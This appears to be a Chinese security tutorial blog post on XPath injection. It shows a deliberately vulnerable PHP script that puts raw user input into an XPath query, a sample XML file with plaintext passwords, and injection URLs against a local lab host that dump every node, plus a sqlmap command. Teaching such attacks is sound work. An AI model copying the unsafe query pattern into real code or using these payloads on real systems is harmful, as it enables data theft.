xpath简介之语法分析、注入实现&&Xml代码分析
xpath简介:
一、xpath语法分析
介绍网址:https://www.w3school.com.cn/xpath/index.asp
Xpath Sql执行语句
Xml注入 xpath injection
XPath 语法
XPath 使用路径表达式来选取 XML 文档中的节点或节点集。节点是通过沿着路径 (path) 或者步 (steps) 来选取的。
XPath 运算符
XPath 表达式可返回节点集、字符串、逻辑值以及数字。
二、Xml代码分析
<?php
if (file_exists('score.xml')){
$xml = simplexml_load_file('score.xml'); //获取xml文件里面的数据
if (isset($_GET['user'])){
$user = $_GET['user'];
//构造语句
$en_scr = "//peo[@name='{$user}']/subject[contains(foo, 'english')]/score";
$ch_scr = "//peo[@name='{$user}']/subject[contains(foo, 'chinese')]/score";
$en_qu = $xml -> xpath($en_scr);
$ch_qu = $xml -> xpath($ch_scr);
foreach ($en_qu as $key => $value) {
echo $user.':<br>english is '.$value;
}
foreach ($ch_qu as $key => $value) {
echo '<br>'.'chinese is '.$value;
}
}else{
echo 'only have three user: vk, tom, helen.';
}
}
?>
<?xml version="1.0" encoding="utf-8"?>
<root>
<class num='1'>
<peo name='tom'>
<subject>
<foo>english</foo>
<score>60</score>
</subject>
<subject>
<foo>chinese</foo>
<score>70</score>
</subject>
<password>qwer123</password>
</peo>
<peo name='helen'>
<subject>
<foo>english</foo>
<score>24</score>
</subject>
<subject>
<foo>chinese</foo>
<score>34</score>
</subject>
<password>woaichishi</password>
</peo>
<peo name='vk'>
<subject>
<foo>english</foo>
<score>100</score>
</subject>
<subject>
<foo>chinese</foo>
<score>100</score>
</subject>
<password>vk123</password>
</peo>
</class>
</root>
三、Xpath注入实现
http://192.168.1.106:800/xpath/xpath_inject.php?user=vk
http://192.168.1.106:800/xpath/xpath_inject.php?user=e
http://192.168.1.106:800/xpath/xpath_inject.php?user=vk’ or ‘1’=‘1
http://192.168.1.106:800/xpath/xpath_inject.php?user=vk’] | //* | //*[’
sqlmap -u http://192.168.1.106:800/xpath/xpath_inject.php?user=vk --data user --level 5 --risk 3
后续操作请持续关注哦!!!
了解更多请关注下列公众号:
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗